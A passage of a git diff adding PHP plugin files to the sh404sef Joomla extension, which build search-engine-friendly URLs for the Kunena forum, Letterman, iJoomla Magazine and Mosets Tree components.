empty(KunenaRouter::$catidcache[$catid]) ? '' : KunenaRouter::$catidcache[$catid]['name']; + } + else + { + // Kunena 1.0 / 1.5 support + if (is_null($cats)) + { + try + { + $cats = ShlDbHelper::selectObjectList('#__fb_categories', array('id', 'name')); + } + catch (Exception $e) + { + ShlSystem_Log::error('sh404sef', '%s::%s::%d: %s', __CLASS__, __METHOD__, __LINE__, $e->getMessage()); + } + } + $catname = empty($cats[$catid]) ? null : $cats[$catid]->name; + } + + $shCat = empty($catname) ? // no name available + $sh_LANG[$shLangIso]['COM_SH404SEF_KU_CATEGORY'] . $sefConfig->replacement . $catid // put ID + : ($sefConfig->shFbInsertCategoryId ? $catid . $sefConfig->replacement : '') . $catname; // if name, put ID only if requested + return $shCat; + } +} + +if (!function_exists('shKUserDetails')) +{ + function shKUserDetails($userid, $option, $shLangIso, $shLangName) + { + static $users = array(); + + $sefConfig = &Sh404sefFactory::getConfig(); + + if (empty($userid) || !$sefConfig->shFbInsertUserName) + { + return ''; + } + + if (class_exists('KunenaFactory')) + { + // Kunena 1.6 / 2.0 support + // TODO: Should we support also real names: $user->getName()? How about conflicting real names? + $user = KunenaFactory::getUser($userid); + $username = $user->username; + } + else + { + // Kunena 1.0 / 1.5 support + if (empty($users[$userid])) + { + try + { + $userDetails = ShlDbHelper::selectObject('#__users', array('id', 'username'), array('id' => $userid)); + } + catch (Exception $e) + { + ShlSystem_Log::error('sh404sef', '%s::%s::%d: %s', __CLASS__, __METHOD__, __LINE__, $e->getMessage()); + } + $users[$userid] = empty($userDetails) ? '' : $userDetails->username; + } + $username = $users[$userid]; + } + + // we have a user name + $userString = empty($username) ? 'u' . $sefConfig->replacement . $userid // put ID + : ($sefConfig->shFbInsertUserId ? $userid . $sefConfig->replacement : ''); // if name, put ID only if requested + + $userString = $userString . $username; + + return $userString; + } +} + +if (!function_exists('shKUTopicName')) +{ + function shKUTopicName($topicid, $option, $shLangIso, $shLangName) + { + + static $topics = array(); + + $sefConfig = &Sh404sefFactory::getConfig(); + + if (empty($topicid) || !$sefConfig->shFbInsertMessageSubject) + { + return ''; + } + + if (class_exists('KunenaForum')) + { + // Kunena 2.0 support + $topic = KunenaForumTopic::getInstance($topicid); + $topicsubject = $topic->subject; + } + elseif (class_exists('KunenaRouter')) + { + // Kunena 1.6 support + if (empty(KunenaRouter::$msgidcache[$topicid])) + { + try + { + KunenaRouter::$msgidcache[$topicid] = ShlDbHelper::selectResult('#__kunena_messages', array('subject', 'id'), + array('id' => $topicid)); + } + catch (Exception $e) + { + ShlSystem_Log::error('sh404sef', '%s::%s::%d: %s', __CLASS__, __METHOD__, __LINE__, $e->getMessage()); + } + } + $topicsubject = KunenaRouter::$msgidcache[$topicid]; + } + else + { + // Kunena 1.0 / 1.5 support + if (empty($topics[$topicid])) + { + try + { + $topicDetails = ShlDbHelper::selectObject('#__fb_messages', array('id', 'subject'), array('id' => $topicid)); + } + catch (Exception $e) + { + ShlSystem_Log::error('sh404sef', '%s::%s::%d: %s', __CLASS__, __METHOD__, __LINE__, $e->getMessage()); + } + $topics[$topicid] = empty($topicDetails) ? '' : $topicDetails->subject; + } + $topicsubject = $topics[$topicid]; + } + + // we have a user name + $topicstring = empty($topicsubject) ? 't' . $sefConfig->replacement . $topicid // put ID + : ($sefConfig->shFbInsertMessageId ? $topicid . $sefConfig->replacement : ''); // if name, put ID only if requested + + $topicstring = $topicstring . (empty($topicsubject) ? '' : $topicsubject); + + return $topicstring; + } +} + +// shumisha : insert magazine name from menu +$shKUName = shGetComponentPrefix($option); +$shKUName = empty($shKUName) ? getMenuTitle($option, null, $Itemid, null, $shLangName) : $shKUName; +$shKUName = (empty($shKUName) || $shKUName == '/') ? 'Forum' : $shKUName; // V 1.2.4.t + +if (shKUGetVersion() < '2') +{ + // now build sef url + switch (strtolower($func)) + { + case 'who': + case 'json': + case 'polls': + $dosef = false; + break; + + case 'thankyou': + if ($sefConfig->shInsertFireboardName) + { + $title[] = $shKUName; + } + ; + $title[] = $sh_LANG[$shLangIso]['COM_SH404SEF_KU_THANKYOU']; + shRemoveFromGETVarsList('func'); + break; + + case 'announcement': + $dosef = false; + break; + + case 'stats': + if ($sefConfig->shInsertFireboardName) + { + $title[] = $shKUName; + } + ; + $title[] = $sh_LANG[$shLangIso]['COM_SH404SEF_KU_STATS']; + shRemoveFromGETVarsList('func'); + break; + + case 'profile': + case 'fbprofile': + if ($sefConfig->shInsertFireboardName && !$sefConfig->shFbShortUrlToProfile) + { + $title[] = $shKUName; + } + ; + // optionnally add user name + $shUserName = shKUserDetails($userid, $option, $shLangIso, $shLangName); + if (!empty($shUserName)) + { + $title[] = $shUserName; + shRemoveFromGETVarsList('userid'); + } + if (!$sefConfig->shFbShortUrlToProfile || $do == 'edit') + { + $title[] = $sh_LANG[$shLangIso]['COM_SH404SEF_KU_SHOW_USER_PROFILE']; + } + if ($sefConfig->shFbShortUrlToProfile && $do != 'edit') + { + $title[] = '/'; + } + shRemoveFromGETVarsList('func'); + break; + + case 'userlist': + if ($sefConfig->shInsertFireboardName) + { + $title[] = $shKUName; + } + ; + $title[] = $sh_LANG[$shLangIso]['COM_SH404SEF_KU_SHOW_USER_LIST']; + shRemoveFromGETVarsList('func'); + break; + + case 'post': + if ($sefConfig->shInsertFireboardName) + { + $title[] = $shKUName; + } + shRemoveFromGETVarsList('func'); + // add cat and topic infos if present + $shCat = shKUCategoryName($catid, $option, $shLangIso, $shLangName); // V 1.2.4.q $option was missing + if (!empty($shCat)) + { + $title[] = $shCat; + shRemoveFromGETVarsList('catid'); + } + $shTopic = shKUTopicName($id, $option, $shLangIso, $shLangName); // V 1.2.4.q $option was missing + if (!empty($shTopic)) + { + $title[] = $shTopic; + if ($sefConfig->shFbInsertMessageId) + { + // only remove post id if it was inserted in message + shRemoveFromGETVarsList('id'); + } + } + switch ($do) + { + case 'reply': // do = reply id=1 catid=2 + if (empty($id)) + { + $title[] = $sh_LANG[$shLangIso]['COM_SH404SEF_KU_NEW_THREAD']; + shRemoveFromGETVarsList('id'); + } + else + { + $title[] = $sh_LANG[$shLangIso]['COM_SH404SEF_KU_REPLY']; + } + shRemoveFromGETVarsList('do'); + break; + // do = subscribe catid=2 id = 1 fb_thread = 1 + case 'subscribe': + $title[] = $sh_LANG[$shLangIso]['COM_SH404SEF_KU_SUBSCRIBE']; + shRemoveFromGETVarsList('do'); + break; + case 'unsubscribe': + $title[] = $sh_LANG[$shLangIso]['COM_SH404SEF_KU_UNSUBSCRIBE']; + shRemoveFromGETVarsList('do'); + break; + // do = favorite catid=2 id = 1 fb_thread = 1 + case 'favorite': + $title[] = $sh_LANG[$shLangIso]['COM_SH404SEF_KU_FAVORITE']; + shRemoveFromGETVarsList('do'); + break; + // do=quote&replyto=1&catid=2 + case 'quote': + $title[] = $sh_LANG[$shLangIso]['COM_SH404SEF_KU_QUOTE']; + shRemoveFromGETVarsList('do'); + break; + // do=delete&id=1&catid=2 + case 'delete': + $title[] = $sh_LANG[$shLangIso]['COM_SH404SEF_KU_DELETE']; + shRemoveFromGETVarsList('do'); + break; + // do=move&id=1&catid=2&name=bestofjoomla + case 'move': + $dosef = false; + break; + // do=edit&id=1&catid=2 + case 'edit': + $title[] = $sh_LANG[$shLangIso]['COM_SH404SEF_KU_EDIT']; + shRemoveFromGETVarsList('do'); + break; + case 'newFromBot': // V 1.2.4.s + case 'newfrombot': + $title[] = $sh_LANG[$shLangIso]['COM_SH404SEF_KU_NEW_FROM_BOT']; + // workaround for discuss bot/ FB 1.0.0 and 1.0.1 bug + if ($do != 'newFromBot') + { + $do = 'newFromBot'; + shAddToGETVarsList('do', $do); + } + shRemoveFromGETVarsList('do'); + break; + // do=sticky&id=1&catid=2 + case 'sticky': + $dosef = false; + break; + // do=lock&id=1&catid=2 + case 'lock': + $dosef = false; + break; + case 'new': + $title[] = $sh_LANG[$shLangIso]['COM_SH404SEF_KU_NEW_THREAD']; + shRemoveFromGETVarsList('do'); + break; + default: // if creating new post, data is passed through POST, so other variables than func is not available + $dosef = false; + break; + } + + break; + + case 'view': + //catid= 2 + //id=1 + if ($sefConfig->shInsertFireboardName) + { + $title[] = $shKUName; + } + shRemoveFromGETVarsList('func'); + $shCat = shKUCategoryName($catid, $option, $shLangIso, $shLangName); // V 1.2.4.q $option was missing ! + if (!empty($shCat)) + { + $title[] = $shCat; + } + shRemoveFromGETVarsList('catid'); + $result = null; + $shTopic = shKUTopicName($id, $option, $shLangIso, $shLangName); // V 1.2.4.q $option was missing + if (!empty($shTopic)) + { + $title[] = $shTopic; + shRemoveFromGETVarsList('id'); + } + break; + + case 'faq': + if ($sefConfig->shInsertFireboardName) + { + $title[] = $shKUName; + } + $title[] = $sh_LANG[$shLangIso]['COM_SH404SEF_KU_SHOW_FAQ']; + shRemoveFromGETVarsList('func'); + break; + + case 'showcat': + if ($sefConfig->shInsertFireboardName) + { + $title[] = $shKUName; + } + shRemoveFromGETVarsList('func'); + $shCat = shKUCategoryName($catid, $option, $shLangIso, $shLangName); + if (!empty($shCat)) + { + $title[] = $shCat; + shRemoveFromGETVarsList('catid'); + } + /* switch ($view){ + case 'threaded': + $title[] = $sh_LANG[$shLangIso]['COM_SH404SEF_KU_THREADED']; + shRemoveFromGETVarsList('view'); + break; + case 'flat': + $title[] = $sh_LANG[$shLangIso]['COM_SH404SEF_KU_FLAT']; + shRemoveFromGETVarsList('view'); + break; + }*/ + if (!empty($view)) + { + shRemoveFromGETVarsList('view'); + } + if (!empty($title)) + { + $title[] = '/'; + } + break; + + case 'listcat': + if ($sefConfig->shInsertFireboardName) + { + $title[] = $shKUName; + } + $title[] = $sh_LANG[$shLangIso]['COM_SH404SEF_KU_LIST_CAT']; + $shCat = shKUCategoryName($catid, $option, $shLangIso, $shLangName); + if (!empty($shCat)) + { + $title[] = $shCat; + } + shRemoveFromGETVarsList('func'); + shRemoveFromGETVarsList('catid'); + $title[] = '/'; + break; + + case 'subscribecat': + if ($sefConfig->shInsertFireboardName) + { + $title[] = $shKUName; + } + $title[] = $sh_LANG[$shLangIso]['COM_SH404SEF_KU_SUBSCRIBE']; + $shCat = shKUCategoryName($catid, $option, $shLangIso, $shLangName); + if (!empty($shCat)) + { + $title[] = $shCat; + } + shRemoveFromGETVarsList('func'); + shRemoveFromGETVarsList('catid'); + $title[] = '/'; + break; + + case 'unsubscribecat': + if ($sefConfig->shInsertFireboardName) + { + $title[] = $shKUName; + } + $title[] = $sh_LANG[$shLangIso]['COM_SH404SEF_KU_UNSUBSCRIBE']; + $shCat = shKUCategoryName($catid, $option, $shLangIso, $shLangName); + if (!empty($shCat)) + { + $title[] = $shCat; + } + shRemoveFromGETVarsList('func'); + shRemoveFromGETVarsList('catid'); + $title[] = '/'; + break; + + case 'review': + $dosef = false; + break; + + case 'rules': + if ($sefConfig->shInsertFireboardName) + { + $title[] = $shKUName; + } + shRemoveFromGETVarsList('func'); + $title[] = $sh_LANG[$shLangIso]['COM_SH404SEF_KU_SHOW_RULES']; + break; + + case 'userprofile': + shRemoveFromGETVarsList('func'); + switch ($do) + { + case '': + case 'show': + if ($sefConfig->shInsertFireboardName) + { + $title[] = $shKUName; + } + $title[] = $sh_LANG[$shLangIso]['COM_SH404SEF_KU_SHOW_USER_PROFILE']; + shRemoveFromGETVarsList('do'); + break; + case 'unfavorite': + if ($sefConfig->shInsertFireboardName) + { + $title[] = $shKUName; + } + $title[] = $sh_LANG[$shLangIso]['COM_SH404SEF_KU_SHOW_USER_UNFAVORITE']; + shRemoveFromGETVarsList('do'); + break; + case 'unsubscribe': + if ($sefConfig->shInsertFireboardName) + { + $title[] = $shKUName; + } + $title[] = $sh_LANG[$shLangIso]['COM_SH404SEF_KU_SHOW_USER_UNSUBSCRIBE']; + shRemoveFromGETVarsList('do'); + break; + case 'update': + if ($sefConfig->shInsertFireboardName) + { + $title[] = $shKUName; + } + $title[] = $sh_LANG[$shLangIso]['COM_SH404SEF_KU_SHOW_USER_UPDATE']; + shRemoveFromGETVarsList('do'); + break; + default: + $dosef = false; + break; + } + break; + + case 'myprofile': + if ($sefConfig->shInsertFireboardName) + { + $title[] = $shKUName; + } + switch ($do) + { + case '': + case 'show': + $title[] = $sh_LANG[$shLangIso]['COM_SH404SEF_KU_SHOW_MY_PROFILE']; + shRemoveFromGETVarsList('func'); + shRemoveFromGETVarsList('do'); + break; + case 'userdetails': + $title[] = $sh_LANG[$shLangIso]['COM_SH404SEF_KU_SHOW_MY_USERDETAILS']; + shRemoveFromGETVarsList('func'); + shRemoveFromGETVarsList('do'); + break; + case 'avatar': + $title[] = $sh_LANG[$shLangIso]['COM_SH404SEF_KU_MY_AVATAR']; + shRemoveFromGETVarsList('func'); + shRemoveFromGETVarsList('do'); + break; + case 'showset': + $title[] = $sh_LANG[$shLangIso]['COM_SH404SEF_KU_MY_SHOWSET']; + shRemoveFromGETVarsList('func'); + shRemoveFromGETVarsList('do'); + break; + case 'profileinfo': + $title[] = $sh_LANG[$shLangIso]['COM_SH404SEF_KU_MY_PROFILEINFO']; + shRemoveFromGETVarsList('func'); + shRemoveFromGETVarsList('do'); + break; + case 'showmsg': + $title[] = $sh_LANG[$shLangIso]['COM_SH404SEF_KU_MY_SHOW_MESSAGES']; + shRemoveFromGETVarsList('func'); + shRemoveFromGETVarsList('do'); + break; + case 'showsub': + $title[] = $sh_LANG[$shLangIso]['COM_SH404SEF_KU_MY_SHOW_SUB']; + shRemoveFromGETVarsList('func'); + shRemoveFromGETVarsList('do'); + break; + case 'showfav': + $title[] = $sh_LANG[$shLangIso]['COM_SH404SEF_KU_MY_SHOW_FAV']; + shRemoveFromGETVarsList('func'); + shRemoveFromGETVarsList('do'); + break; + default: + $dosef = false; + break; + } + break; + + case 'report': + $dosef = false; + break; + + case 'latest': + if ($sefConfig->shInsertFireboardName) + { + $title[] = $shKUName; + } + if ($do == 'show' && isset($sel)) + { + $title[] = $sh_LANG[$shLangIso]['COM_SH404SEF_KU_SHOW_LATEST_' . $sel]; + } + else + { + $title[] = $sh_LANG[$shLangIso]['COM_SH404SEF_KU_SHOW_LATEST']; + } + shRemoveFromGETVarsList('do'); + shRemoveFromGETVarsList('func'); + if (isset($sel)) + { + shRemoveFromGETVarsList('sel'); + } + break; + case 'mylatest': + if ($sefConfig->shInsertFireboardName) + { + $title[] = $shKUName; + } + $title[] = $sh_LANG[$shLangIso]['COM_SH404SEF_KU_SHOW_MY_LATEST']; + shRemoveFromGETVarsList('func'); + break; + + case 'search': + if ($sefConfig->shInsertFireboardName) + { + $title[] = $shKUName; + } + $title[] = $sh_LANG[$shLangIso]['COM_SH404SEF_KU_SEARCH']; + shRemoveFromGETVarsList('func'); + break; + case 'advsearch': + if ($sefConfig->shInsertFireboardName) + { + $title[] = $shKUName; + } + $title[] = $sh_LANG[$shLangIso]['COM_SH404SEF_KU_SEARCH_ADVANCED']; + shRemoveFromGETVarsList('func'); + break; + + case 'markthisread': + if ($sefConfig->shInsertFireboardName) + { + $title[] = $shKUName; + } + $shCat = shKUCategoryName($catid, $option, $shLangIso, $shLangName); // V 1.2.4.q $option was missing + if (!empty($shCat)) + { + $title[] = $shCat; + shRemoveFromGETVarsList('catid'); + } + $title[] = $sh_LANG[$shLangIso]['COM_SH404SEF_KU_MARK_THIS_READ']; + shRemoveFromGETVarsList('func'); + break; + + case 'karma': + $dosef = false; + break; + + case 'bulkactions': + switch ($do) + { + case "bulkDel": + $dosef = false; + break; + + case "bulkMove": + $dosef = false; + break; + } + + break; + + case "templatechooser": + $dosef = false; + break; + + case 'credits': + if ($sefConfig->shInsertFireboardName) + { + $title[] = $shKUName; + } + $title[] = $sh_LANG[$shLangIso]['COM_SH404SEF_KU_CREDITS']; + shRemoveFromGETVarsList('func'); + shRemoveFromGETVarsList('catid'); + break; + + case 'fb_pdf': + case 'pdf': + if ($sefConfig->shInsertFireboardName) + { + $title[] = $shKUName; + } + $title[] = 'pdf'; + shRemoveFromGETVarsList('func'); + break; + + case 'fb_rss': + case 'rss': + if ($sefConfig->shInsertFireboardName) + { + $title[] = $shKUName; + } + $title[] = 'rss'; + shRemoveFromGETVarsList('func'); + shRemoveFromGETVarsList('no_html'); + break; + + default: + if (shKUGetVersion() < '1.6') + { + $dosef = false; + } + break; + } + + if (shKUGetVersion() >= '1.6') + { + // version 1.6+ : use view instead of func for some functions + switch ($view) + { + + case 'listcat': + if ($sefConfig->shInsertFireboardName) + { + $title[] = $shKUName; + } + $title[] = $sh_LANG[$shLangIso]['COM_SH404SEF_KU_LIST_CAT']; + $shCat = shKUCategoryName($catid, $option, $shLangIso, $shLangName); // V 1.2.4.q $option was missing + if (!empty($shCat)) + { + $title[] = $shCat; + } + shRemoveFromGETVarsList('view'); + shRemoveFromGETVarsList('catid'); + $title[] = '/'; + break; + + case 'rules': + if ($sefConfig->shInsertFireboardName) + { + $title[] = $shKUName; + } + shRemoveFromGETVarsList('view'); + $title[] = $sh_LANG[$shLangIso]['COM_SH404SEF_KU_SHOW_RULES']; + break; + + case 'latest': + if ($sefConfig->shInsertFireboardName) + { + $title[] = $shKUName; + } + switch ($do) + { + case 'show': + if (isset($sel)) + { + $title[] = $sh_LANG[$shLangIso]['COM_SH404SEF_KU_SHOW_LATEST_' . $sel]; + } + else + { + $title[] = $sh_LANG[$shLangIso]['COM_SH404SEF_KU_SHOW_LATEST']; + } + shRemoveFromGETVarsList('do'); + if (isset($sel)) + { + shRemoveFromGETVarsList('sel'); + } + break; + case 'noreplies': + $title[] = $sh_LANG[$shLangIso]['COM_SH404SEF_KU_NO_REPLY']; + shRemoveFromGETVarsList('do'); + break; + case 'mylatest': + $title[] = $sh_LANG[$shLangIso]['COM_SH404SEF_KU_SHOW_MY_LATEST']; + shRemoveFromGETVarsList('do'); + break; + case '': + $title[] = $sh_LANG[$shLangIso]['COM_SH404SEF_KU_SHOW_LATEST']; + break; + } + shRemoveFromGETVarsList('view'); + break; + case 'profile': + if ($sefConfig->shInsertFireboardName && !$sefConfig->shFbShortUrlToProfile) + { + $title[] = $shKUName; + } + ; + // optionnally add user name + $shUserName = shKUserDetails($userid, $option, $shLangIso, $shLangName); + if (!empty($shUserName)) + { + $title[] = $shUserName; + shRemoveFromGETVarsList('userid'); + } + if (!$sefConfig->shFbShortUrlToProfile || empty($shUserName)) + { + $title[] = $sh_LANG[$shLangIso]['COM_SH404SEF_KU_SHOW_USER_PROFILE']; + } + if ($sefConfig->shFbShortUrlToProfile) + { + $title[] = '/'; + } + shRemoveFromGETVarsList('view'); + break; + case 'help': + if ($sefConfig->shInsertFireboardName) + { + $title[] = $shKUName; + } + $title[] = $sh_LANG[$shLangIso]['COM_SH404SEF_KU_SHOW_FAQ']; + shRemoveFromGETVarsList('view'); + break; + case 'search': + if ($sefConfig->shInsertFireboardName) + { + $title[] = $shKUName; + } + $title[] = $sh_LANG[$shLangIso]['COM_SH404SEF_KU_SEARCH']; + shRemoveFromGETVarsList('view'); + break; + case 'entrypage': + if (empty($title)) + { + $title[] = $shKUName; + } + $title[] = '/'; + shRemoveFromGETVarsList('view'); + shRemoveFromGETVarsList('defaultmenu'); + break; + case 'post': + if ($sefConfig->shInsertFireboardName) + { + $title[] = $shKUName; + } + switch ($do) + { + case 'new': + $title[] = $sh_LANG[$shLangIso]['COM_SH404SEF_KU_NEW_THREAD']; + shRemoveFromGETVarsList('do'); + shRemoveFromGETVarsList('view'); + break; + default: + $dosef = false; + break; + } + case '': + break; + default: + $dosef = false; + break; + } + + } + + shRemoveFromGETVarsList('option'); + shRemoveFromGETVarsList('lang'); + if (!empty($Itemid)) + shRemoveFromGETVarsList('Itemid'); + + if (!empty($limit)) + { + shRemoveFromGETVarsList('limit'); + } + if (isset($limitstart)) + { + shRemoveFromGETVarsList('limitstart'); + } + +} +else +{ // Kunena > 2.0 running + $originalVars = empty($originalUri) ? $vars : $originalUri->getQuery($asArray = true); + ShlSystem_Log::debug('sh404sef', 'Loading component own router.php file from inside com_kunena.php'); + $functionName = ucfirst(str_replace('com_', '', $option)) . 'BuildRoute'; + if (!function_exists($functionName)) + { + include(JPATH_ROOT . '/components/' . $option . '/router.php'); + } + + // have router.php build url + $title = $functionName($originalVars); + $title = sh404sefHelperUrl::encodeSegments($title); + + // add shop menu item, if asked to + if ($sefConfig->shInsertFireboardName) + { + array_unshift($title, $shKUName); + } + + // add user defined prefix + $prefix = shGetComponentPrefix($option); + if (!empty($prefix)) + { + array_unshift($title, $prefix); + } + + // manage GET var lists ourselves, as Joomla router.php does not do it + if (!empty($vars)) + { + // there are some unused GET vars, we must transfer them to our mechanism, so + // that they are eventually appended to the sef url + foreach ($vars as $k => $v) + { + switch ($k) + { + case 'option': + case 'Itemid': + case 'lang': + shRemoveFromGETVarsList($k); + break; + default: + // if variable has not been used in sef url, add it to list of variables to be + // appended to the url as query string elements + if (array_key_exists($k, $originalVars)) + { + shAddToGETVarsList($k, $v); + } + else + { + shRemoveFromGETVarsList($k); + } + break; + } + } + } + +} + +// ------------------ standard plugin finalize function - don't change --------------------------- +$suppressPagination = shKUGetVersion() >= '2'; +if ($dosef) +{ + $string = shFinalizePlugin($string, $title, $shAppendString, $shItemidString, (isset($limit) ? $limit : null), + (isset($limitstart) ? $limitstart : null), (isset($shLangName) ? $shLangName : null), (isset($showall) ? $showall : null), + $suppressPagination); +} +// ------------------ standard plugin finalize function - don't change --------------------------- diff --git a/deployed/sh404sef/components/com_sh404sef/sef_ext/com_letterman.php b/deployed/sh404sef/components/com_sh404sef/sef_ext/com_letterman.php new file mode 100644 index 00000000..c7a0795a --- /dev/null +++ b/deployed/sh404sef/components/com_sh404sef/sef_ext/com_letterman.php @@ -0,0 +1,66 @@ +shLMDefaultItemid)) { + shAddToGETVarsList('Itemid', $sefConfig->shLMDefaultItemid); // V 1.2.4.q + // we add then remove value to GET Vars, sounds weird, but Itemid value has been added to + // non sef string in the process + shRemoveFromGETVarsList('Itemid'); +} +if (!empty($Itemid)) + shRemoveFromGETVarsList('Itemid'); + + $title[] = $sh_LANG[$shLangIso]['COM_SH404SEF_LETTERMAN']; + $task = isset($task) ? @$task : null; + switch ($task) { + case 'confirm': + $title[] = $sh_LANG[$shLangIso]['COM_SH404SEF_LM_CONFIRM']; + shRemoveFromGETVarsList('task'); + break; + case 'subscribe' : + $title[] = $sh_LANG[$shLangIso]['COM_SH404SEF_LM_SUBSCRIBE']; + shRemoveFromGETVarsList('task'); + break; + case 'unsubscribe': + $title[] = $sh_LANG[$shLangIso]['COM_SH404SEF_LM_UNSUBSCRIBE']; + shRemoveFromGETVarsList('task'); + break; + } + +// ------------------ standard plugin finalize function - don't change --------------------------- +if ($dosef){ + $string = shFinalizePlugin( $string, $title, $shAppendString, $shItemidString, + (isset($limit) ? @$limit : null), (isset($limitstart) ? @$limitstart : null), + (isset($shLangName) ? @$shLangName : null)); +} +// ------------------ standard plugin finalize function - don't change --------------------------- + +?> diff --git a/deployed/sh404sef/components/com_sh404sef/sef_ext/com_magazine.php b/deployed/sh404sef/components/com_sh404sef/sef_ext/com_magazine.php new file mode 100644 index 00000000..512959ab --- /dev/null +++ b/deployed/sh404sef/components/com_sh404sef/sef_ext/com_magazine.php @@ -0,0 +1,135 @@ +shInsertIJoomlaMagName) $title[] = $shIJoomlaMagName; + if ( !empty ($authorid)) { + try { + $result = ShlDbHelper::selectObject( '#__users', array( 'id', 'name'), array( 'id' => $authorid)); + $shRef = empty($result)? // no name available + $sh_LANG[$shLangIso]['_SH404SEF_IJOOMLA_MAG_AUTHOR'].$sefConfig->replacement.$authorid // put ID + : ($sefConfig->shInsertAuthorId ? $authorid.$sefConfig->replacement : ''); // if name, put ID only if requested + $title[] = $shRef.(empty( $result ) ? '' : $result->name); + + shRemoveFromGETVarsList('authorid'); + $title[] = $sh_LANG[$shLangIso]['_SH404SEF_IJOOMLA_MAG_VIEW_ALL_ARTICLES']; + } catch( Exception $e) { + $dosef = false; + ShlSystem_Log::error( 'sh404sef', '%s::%s::%d: %s', __CLASS__, __METHOD__, __LINE__, $e->getMessage()); + } + } else { + $dosef = false; + } + break; + case 'author_list': + if ($sefConfig->shInsertIJoomlaMagName) $title[] = $shIJoomlaMagName; + $title[] = $sh_LANG[$shLangIso]['_SH404SEF_IJOOMLA_MAG_VIEW_ALL_AUTHORS']; + break; + case 'show_magazine': // V 1.2.4.g 2007-04-07 + if ($sefConfig->shInsertIJoomlaMagName) $title[] = $shIJoomlaMagName; + if ( !empty ($id)) { + try { + $result = ShlDbHelper::selectObject( '#__magazine_sections', array( 'id', 'title'), array( 'id' => $id)); + + $shRef = empty($result)? // no name available + $sh_LANG[$shLangIso]['_SH404SEF_IJOOMLA_MAG_MAGAZINE'].$sefConfig->replacement.$id // put ID + : ($sefConfig->shInsertIJoomlaMagMagazineId ? $id.$sefConfig->replacement : ''); // if name, put ID only if requested + $title[] = $shRef.(empty( $result ) ? '' : $result->title); + shRemoveFromGETVarsList('id'); + $title[] = $sh_LANG[$shLangIso]['_SH404SEF_IJOOMLA_MAG_VIEW_MAGAZINE']; + } catch( Exception $e) { + $dosef = false; + ShlSystem_Log::error( 'sh404sef', '%s::%s::%d: %s', __CLASS__, __METHOD__, __LINE__, $e->getMessage()); + } + } else { + $dosef = false; + } + break; + + case 'show_edition': + if ($sefConfig->shInsertIJoomlaMagName) $title[] = $shIJoomlaMagName; + if ( !empty ($id)) { + try { + $result = ShlDbHelper::selectObject( '#__magazine_categories', array( 'id', 'title'), array( 'id' => $id)); + $shRef = empty($result)? // no name available + $sh_LANG[$shLangIso]['_SH404SEF_IJOOMLA_MAG_EDITION'].$sefConfig->replacement.$id // put ID + : ($sefConfig->shInsertIJoomlaMagIssueId ? $id.$sefConfig->replacement : ''); // if name, put ID only if requested + $title[] = $shRef.(empty( $result ) ? '' : $result->title); + shRemoveFromGETVarsList('id'); + $title[] = $sh_LANG[$shLangIso]['_SH404SEF_IJOOMLA_MAG_SHOW_EDITION']; + } catch( Exception $e) { + $dosef = false; + ShlSystem_Log::error( 'sh404sef', '%s::%s::%d: %s', __CLASS__, __METHOD__, __LINE__, $e->getMessage()); + } + } else { + $dosef = false; + } + break; + + case 'show_article': + if ($sefConfig->shInsertIJoomlaMagName) $title[] = $shIJoomlaMagName; + $title[] = $sh_LANG[$shLangIso]['_SH404SEF_IJOOMLA_MAG_SHOW_RELATED_ARTICLES']; + break; + + default: + $title[] = $shIJoomlaMagName; + break; +} + +// ------------------ standard plugin finalize function - don't change --------------------------- +if ($dosef){ + $string = shFinalizePlugin( $string, $title, $shAppendString, $shItemidString, + (isset($limit) ? @$limit : null), (isset($limitstart) ? @$limitstart : null), + (isset($shLangName) ? @$shLangName : null)); +} +// ------------------ standard plugin finalize function - don't change --------------------------- + +?> diff --git a/deployed/sh404sef/components/com_sh404sef/sef_ext/com_mtree.php b/deployed/sh404sef/components/com_sh404sef/sef_ext/com_mtree.php new file mode 100644 index 00000000..043e7fcd --- /dev/null +++ b/deployed/sh404sef/components/com_sh404sef/sef_ext/com_mtree.php @@ -0,0 +1,619 @@ +getPathWay( $cat_id ); + switch ($sefConfig->shMTreeInsertCategories) { + case '1': // only last cat + if ( $cat_id > 0 ) { //this is not root we must use this cat + $sef[] = ($sefConfig->shMTreeInsertCategoryId ? $cat_id.$sefConfig->replacement:'').$pathWay->getCatName( $cat_id ) ; + } //else // this is root, don't add cat name + shRemoveFromGETVarsList('cat_id'); + break; + case '0': // if no cat, we still put them all. This param only applies to listing links + case '2': // we want all cats + foreach( $pathway_ids AS $id ) { + $sef[] = ($sefConfig->shMTreeInsertCategoryId ? $id.$sefConfig->replacement:'') + .$pathWay->getCatName( $id ); + } + // If curreny category is not root, append to sefstring + if ( $cat_id > 0 ) + $sef[] = ($sefConfig->shMTreeInsertCategoryId ? $cat_id.$sefConfig->replacement:'') + .$pathWay->getCatName( $cat_id ) ; + shRemoveFromGETVarsList('cat_id'); + break; + } + return $sef; + } +} +/*** + * Append Listing "filename" +*/ +if (!function_exists('shAppendListing')) { + function shAppendListing( $link_name, $link_id, $add_details=false, $shLangIso, $option, $shLangName) { + global $sh_LANG; + $sefConfig = & Sh404sefFactory::getConfig(); + $sef = array(); + + if( $sefConfig->shMTreeInsertListingId ) { + if( !$sefConfig->shMTreePrependListingId) { + $sef[] = ($sefConfig->shMTreeInsertListingName? $link_name . $sefConfig->replacement : ''). $link_id; + } else { + $sef[] = $link_id . ($sefConfig->shMTreeInsertListingName? $sefConfig->replacement.$link_name : ''); + } + } else { + if ($sefConfig->shMTreeInsertListingName) $sef[] = $link_name; + } + + if( $add_details ) { + $sef[]= $sh_LANG[$shLangIso]['_MT_SEF_DETAILS']; + } + + if ($sefConfig->shMTreeInsertListingName || $sefConfig->shMTreeInsertListingId) + shRemoveFromGETVarsList('link_id'); + return $sef; + } +} +/*** + * Return value from shAppendCat + shAppendListing +*/ +if (!function_exists('shAppendCatListing')) { + function shAppendCatListing( $mtLink, $add_extension=true, $shLangIso, $option, $shLangName) { + return array_merge( shAppendCat( $mtLink->cat_id, $option, $shLangName), + shAppendListing( $mtLink->link_name, $mtLink->link_id, false, $shLangIso, $option, $shLangName)); + } +} + +/** + * Get the name of a custom field + */ +if (!function_exists('shMTGetCustomFieldById')) { + function shMTGetCustomFieldById( $cfId ) { + static $fields = null; + + if (is_null( $fields)) { + try { + $fields = ShlDbHelper::selectObjectList( '#__mt_customfields', array( 'cf_id', 'caption') + , $mWhere = '', $aWhereData = array(), $orderBy = array(), $offset = 0, $lines = 0, $key = 'cf_id'); + } catch( Exception $e) { + ShlSystem_Log::error( 'sh404sef', '%s::%s::%d: %s', __CLASS__, __METHOD__, __LINE__, $e->getMessage()); + } + + } + + // check if we have this field + $cfCaption = empty( $fields[$cfId]) ? '' : 